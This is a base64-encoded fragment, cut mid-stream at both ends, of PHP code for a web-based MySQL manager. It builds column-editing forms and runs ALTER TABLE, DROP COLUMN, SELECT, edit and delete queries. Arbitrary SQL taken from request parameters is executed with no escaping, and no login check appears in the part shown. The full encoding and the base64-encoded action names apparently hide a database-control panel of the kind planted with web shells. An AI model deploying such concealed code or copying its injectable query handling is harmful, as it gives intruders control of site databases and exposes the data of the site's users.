NwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJMT05HQkxPQiIgJzsgaWYoICR0eXBlID09ICJsb25nYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TE9OR0JMT0IgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJFTlVNIiAnOyBpZiggJHR5cGUgPT0gImVudW0iICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkVOVU08L3RkPg0KPHRkIGNvbHNwYW49NT48Y2VudGVyPnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNFVCIgJzsgaWYoICR0eXBlID09ICJzZXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNFVDwvdGQ+DQo8dGQgY29sc3Bhbj01PjxjZW50ZXI+dmFsdWUgbGlzdDwvY2VudGVyPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjx0YWJsZT4NCjx0cj48dGg+TTwvdGg+PHRoPkQ8L3RoPjx0aD51bnNpZ25lZDwvdGg+PHRoPnplcm9maWxsPC90aD48dGg+YmluYXJ5PC90aD48dGg+dmFsdWUgbGlzdCAoZXg6IFwnYXBwbGVcJywgXCdvcmFuZ2VcJywgXCdiYW5hbmFcJykgPC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPU0gJzsgaWYoICRNICE9ICIiICkgZWNobyAidmFsdWU9JE0iO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPUQgJzsgaWYoICREICE9ICIiICkgZWNobyAidmFsdWU9JEQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVuc2lnbmVkIHZhbHVlPSJVTlNJR05FRCIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgInVuc2lnbmVkIiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9emVyb2ZpbGwgdmFsdWU9IlpFUk9GSUxMIiAnOyBpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiemVyb2ZpbGwiICkgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1iaW5hcnkgdmFsdWU9IkJJTkFSWSIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgImJpbmFyeSIgKSAgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTYwIG5hbWU9dmFsdWVsaXN0ICc7IGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgZWNobyAidmFsdWU9XCIkdmFsdWVsaXN0XCIiO2VjaG8gJz48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8aDM+RmxhZ3M8L2gzPg0KPHRhYmxlPg0KPHRyPjx0aD5ub3QgbnVsbDwvdGg+PHRoPmRlZmF1bHQgdmFsdWU8L3RoPjx0aD5hdXRvIGluY3JlbWVudDwvdGg+PHRoPnByaW1hcnkga2V5PC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPW5vdF9udWxsIHZhbHVlPSJOT1QgTlVMTCIgJzsgaWYoICRmaWVsZG51bGwgIT0gIllFUyIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRlZmF1bHRfdmFsdWUgJzsgaWYoICRmaWVsZGRlZmF1bHQgIT0gIiIgKSBlY2hvICJ2YWx1ZT0kZmllbGRkZWZhdWx0IjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hdXRvX2luY3JlbWVudCB2YWx1ZT0iQVVUT19JTkNSRU1FTlQiICc7IGlmKCAkZmllbGRleHRyYSA9PSAiYXV0b19pbmNyZW1lbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cHJpbWFyeV9rZXkgdmFsdWU9IlBSSU1BUlkgS0VZIiAnOyBpZiggJGZpZWxka2V5ID09ICJQUkkiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxwPic7DQoJaWYoICRjbWQgPT0gImFkZCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0FkZCBGaWVsZCc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IEZpZWxkJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPUNhbmNlbCBvbkNsaWNrPSdoaXN0b3J5LmJhY2soKSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZUZpZWxkX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkb2xkX25hbWUsICRuYW1lLCAkdHlwZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2csDQoJCSRNLCAkRCwgJHVuc2lnbmVkLCAkemVyb2ZpbGwsICRiaW5hcnksICRub3RfbnVsbCwgJGRlZmF1bHRfdmFsdWUsICRhdXRvX2luY3JlbWVudCwgJHByaW1hcnlfa2V5LCAkdmFsdWVsaXN0Ow0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREICRuYW1lICI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKQ0KCQkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBDSEFOR0UgJG9sZF9uYW1lICRuYW1lICI7DQoJaWYoICRNICE9ICIiICkNCgkJaWYoICREICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0sJEQpICI7DQoJCWVsc2UNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0pICI7DQoJZWxzZSBpZiggJHZhbHVlbGlzdCAhPSAiIiApIHsNCgkJJHZhbHVlbGlzdCA9IHN0cmlwc2xhc2hlcyggJHZhbHVlbGlzdCApOw0KCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCR2YWx1ZWxpc3QpICI7DQoJfSBlbHNlDQoJCSRxdWVyeVN0ciAuPSAiJHR5cGUgIjsNCgkkcXVlcnlTdHIgLj0gIiR1bnNpZ25lZCAkemVyb2ZpbGwgJGJpbmFyeSAiOw0KCWlmKCAkZGVmYXVsdF92YWx1ZSAhPSAiIiApDQoJCSRxdWVyeVN0ciAuPSAiREVGQVVMVCAnJGRlZmF1bHRfdmFsdWUnICI7DQoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwgJGF1dG9faW5jcmVtZW50IjsNCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCS8vIGtleSBjaGFuZ2UNCgkka2V5Q2hhbmdlID0gZmFsc2U7DQoJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAiU0hPVyBLRVlTIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkcHJpbWFyeSA9ICIiOw0KCXdoaWxlKCAkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQ0KCQlpZiggJHJvd1siS2V5X25hbWUiXSA9PSAiUFJJTUFSWSIgKSB7DQoJCQlpZiggJHJvd1tDb2x1bW5fbmFtZV0gPT0gJG5hbWUgKQ0KCQkJCSRrZXlDaGFuZ2UgPSB0cnVlOw0KCQkJZWxzZQ0KCQkJCSRwcmltYXJ5IC49ICIsICRyb3dbQ29sdW1uX25hbWVdIjsNCgkJfQ0KCWlmKCAkcHJpbWFyeV9rZXkgPT0gIlBSSU1BUlkgS0VZIiApIHsNCgkJJHByaW1hcnkgLj0gIiwgJG5hbWUiOw0KCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7DQoJfQ0KCSRwcmltYXJ5ID0gc3Vic3RyKCAkcHJpbWFyeSwgMiApOw0KCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBQUklNQVJZIEtFWSI7DQoJCW15c3FsX3F1ZXJ5KCAkcSApOw0KCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIgLiAkcTsNCgkJJGVyck1zZyAuPSAiPGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREIFBSSU1BUlkgS0VZKCAkcHJpbWFyeSApIjsNCgkJbXlzcWxfcXVlcnkoICRxICk7DQoJCSRxdWVyeVN0ciAuPSAiPGJyPlxuIiAuICRxOw0KCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4gbXlzcWxfZXJyb3IoKTsNCgl9DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRmllbGQoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBDT0xVTU4gJGZpZWxkbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiB2aWV3RGF0YSggJHF1ZXJ5U3RyICkgew0KCWdsb2JhbCAkYWN0aW9uLCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJGVyck1zZywgJHBhZ2UsICRyb3dwZXJwYWdlLCAkb3JkZXJieTsNCgllY2hvICI8aDE+RGF0YSBpbiBUYWJsZTwvaDE+XG4iOw0KCWlmKCAkdGFibGVuYW1lICE9ICIiICkNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+XG4iOw0KCWVsc2UNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJJHF1ZXJ5U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlTdHIgKTsNCglpZiggJHF1ZXJ5U3RyID09ICIiICkgew0KCQkkcXVlcnlTdHIgPSAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIjsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiIE9SREVSIEJZICRvcmRlcmJ5IjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1hZGREYXRhJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRGF0YTwvYT4gfCBcbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgl9DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgJHF1ZXJ5U3RyICk7DQoJJGZpZWxkdCA9IG15c3FsX2ZldGNoX2ZpZWxkKCRwUmVzdWx0KTsNCgkkdGFibGVuYW1lID0gJGZpZWxkdC0+dGFibGU7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJJEdMT0JBTFNbcXVlcnlTdHJdID0gJHF1ZXJ5U3RyOw0KCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJCXJldHVybjsNCgl9DQoJaWYoICRwUmVzdWx0ID09IDEgKSB7DQoJCSRlcnJNc2cgPSAiU3VjY2VzcyI7DQoJCWVjaG9RdWVyeVJlc3VsdCgpOw0KCQlyZXR1cm47DQoJfQ0KCWVjaG8gIjxocj5cbiI7DQoJJHJvdyA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOw0KCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCWlmKCAkcm93ID09IDAgKSB7DQoJCWVjaG8gIk5vIERhdGEgRXhpc3QhIjsNCgkJcmV0dXJuOw0KCX0NCglpZiggJHJvd3BlcnBhZ2UgPT0gIiIgKSAkcm93cGVycGFnZSA9IDMwOw0KCWlmKCAkcGFnZSA9PSAiIiApICRwYWdlID0gMDsNCgllbHNlICRwYWdlLS07DQoJbXlzcWxfZGF0YV9zZWVrKCAkcFJlc3VsdCwgJHBhZ2UgKiAkcm93cGVycGFnZSApOw0KCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+XG4iOw0KCWVjaG8gIjx0cj5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQllY2hvICI8dGg+IjsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJm9yZGVyYnk9Ii4kZmllbGQtPm5hbWUuIic+Ii4kZmllbGQtPm5hbWUuIjwvYT5cbiI7DQoJCWVsc2UNCgkJCWVjaG8gJGZpZWxkLT5uYW1lLiJcbiI7DQoJCWVjaG8gIjwvdGg+XG4iOw0KCX0NCgllY2hvICI8dGggY29sc3Bhbj0yPkFjdGlvbjwvdGg+XG4iOw0KCWVjaG8gIjwvdHI+XG4iOw0KCWZvciggJGkgPSAwOyAkaSA8ICRyb3dwZXJwYWdlOyAkaSsrICkgew0KCQkkcm93QXJyYXkgPSBteXNxbF9mZXRjaF9yb3coICRwUmVzdWx0ICk7DQoJCWlmKCAkcm93QXJyYXkgPT0gZmFsc2UgKSBicmVhazsNCgkJZWNobyAiPHRyPlxuIjsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkgew0KCQkJJGRhdGEgPSAkcm93QXJyYXlbJGpdOw0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaiApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJJGtleSAuPSAiJiIgLiAkZmllbGQtPm5hbWUgLiAiPSIgLiAkZGF0YTsNCgkJCWlmKCBzdHJsZW4oICRkYXRhICkgPiAzMCApDQoJCQkJJGRhdGEgPSBzdWJzdHIoICRkYXRhLCAwLCAzMCApIC4gIi4uLiI7DQoJCQkkZGF0YSA9IGh0bWxzcGVjaWFsY2hhcnMoICRkYXRhICk7DQoJCQllY2hvICI8dGQ+XG4iOw0KCQkJZWNobyAiJGRhdGFcbiI7DQoJCQllY2hvICI8L3RkPlxuIjsNCgkJfQ0KCQlpZiggJGtleSA9PSAiIiApDQoJCQllY2hvICI8dGQgY29sc3Bhbj0yPm5vIEtleTwvdGQ+XG4iOw0KCQllbHNlIHsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRpdDwvYT48L3RkPlxuIjsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRlbGV0ZURhdGEka2V5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBSb3c/JylcIj5EZWxldGU8L2E+PC90ZD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+XG4iOw0KCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlxuIjsNCglpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWxzZQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249cXVlcnkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcXVlcnlTdHI9JHF1ZXJ5U3RyJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWNobyAoJHBhZ2UrMSkuIi8iLihpbnQpKCRyb3cvJHJvd3BlcnBhZ2UrMSkuIiBwYWdlIjsNCgllY2hvICI8L2ZvbnQ+XG4iOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRwYWdlID4gMCApIHsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnBhZ2U9Ii4oJHBhZ2UpOw0KCQllbHNlDQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdlKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+UHJldjwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlByZXY8L2ZvbnQ+IjsNCgllY2hvICIgfCAiOw0KCWlmKCAkcGFnZSA8ICgkcm93LyRyb3dwZXJwYWdlKS0xICkgew0KCQlpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSsyKTsNCgkJZWxzZQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1xdWVyeSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZxdWVyeVN0cj0kcXVlcnlTdHImcGFnZT0iLigkcGFnZSsyKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+TmV4dDwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIk5leHQiOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRyb3cgPiAkcm93cGVycGFnZSApIHsNCgkJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1wYWdlPlxuIjsNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdHbyc+XG4iOw0KCX0NCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjwvZm9udD5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZURhdGEoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBEYXRhPC9oMT5cbiI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7DQoJCWVjaG8gIjxoMT5FZGl0IERhdGE8L2gxPlxuIjsNCgkJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw0KCQkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkNCgkJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSIgLiAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIiBBTkQgIjsNCgkJCQllbHNlDQoJCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0nIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJyBBTkQgIjsNCgkJfQ0KCQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCQlteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCQkkcFJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgPSAgIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAka2V5IiwgJG15c3FsSGFuZGxlICk7DQoJCSRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJfQ0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3Q+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWFkZERhdGFfc3VibWl0PlxuIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1lZGl0RGF0YV9zdWJtaXQ+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JHRhYmxlbmFtZT5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5UeXBlPC90aD5cbiI7DQoJZWNobyAiPHRoPkZ1bmN0aW9uPC90aD5cbiI7DQoJZWNobyAiPHRoPkRhdGE8L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCgkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBSZXN1bHQgKTsNCgkkcFJlc3VsdExlbiA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJCSRmaWVsZG5hbWUgPSAkZmllbGRbIkZpZWxkIl07DQoJCSRmaWVsZHR5cGUgPSAkZmllbGRbIlR5cGUiXTsNCgkJJGxlbiA9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7DQoJCWVjaG8gIjx0cj4iOw0KCQllY2hvICI8dGQ+JGZpZWxkbmFtZTwvdGQ+IjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+IjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiPHNlbGVjdCBuYW1lPSR7ZmllbGRuYW1lfV9mdW5jdGlvbj5cbiI7DQoJCWVjaG8gIjxvcHRpb24+XG4iOw0KCQllY2hvICI8b3B0aW9uPkFTQ0lJXG4iOw0KCQllY2hvICI8b3B0aW9uPkNIQVJcbiI7DQoJCWVjaG8gIjxvcHRpb24+U09VTkRFWFxuIjsNCgkJZWNobyAiPG9wdGlvbj5DVVJEQVRFXG4iOw0KCQllY2hvICI8b3B0aW9uPkNVUlRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+RlJPTV9EQVlTXG4iOw0KCQllY2hvICI8b3B0aW9uPkZST01fVU5JWFRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+Tk9XXG4iOw0KCQllY2hvICI8b3B0aW9uPlBBU1NXT1JEXG4iOw0KCQllY2hvICI8b3B0aW9uPlBFUklPRF9BRERcbiI7DQoJCWVjaG8gIjxvcHRpb24+UEVSSU9EX0RJRkZcbiI7DQoJCWVjaG8gIjxvcHRpb24+VE9fREFZU1xuIjsNCgkJZWNobyAiPG9wdGlvbj5VU0VSXG4iOw0KCQllY2hvICI8b3B0aW9uPldFRUtEQVlcbiI7DQoJCWVjaG8gIjxvcHRpb24+UkFORFxuIjsNCgkJZWNobyAiPC9zZWxlY3Q+XG4iOw0KCQllY2hvICI8L3RkPlxuIjsNCgkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkZGF0YVskaV0pOw0KCQlpZiggJGNtZCA9PSAiYWRkIiApIHsNCgkJCSR0eXBlID0gc3RydG9rKCAkZmllbGR0eXBlLCAiICgsKVxuIiApOw0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8fCAkdHlwZSA9PSAic2V0IiApIHsNCgkJCQllY2hvICI8dGQ+XG4iOw0KCQkJCWlmKCAkdHlwZSA9PSAiZW51bSIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZT5cbiI7DQoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZSBzaXplPTQgbXVsdGlwbGU+XG4iOw0KCQkJCXdoaWxlKCAkc3RyID0gc3RydG9rKCAiJyIgKSApIHsNCgkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOw0KCQkJCQlzdHJ0b2soICInIiApOw0KCQkJCX0NCgkJCQllY2hvICI8L3NlbGVjdD5cbiI7DQoJCQkJZWNobyAiPC90ZD5cbiI7DQoJCQl9IGVsc2Ugew0KCQkJCWlmKCAkbGVuIDwgNDAgKQ0KCQkJCQllY2hvICI8dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQwIG1heGxlbmd0aD0kbGVuIG5hbWU9J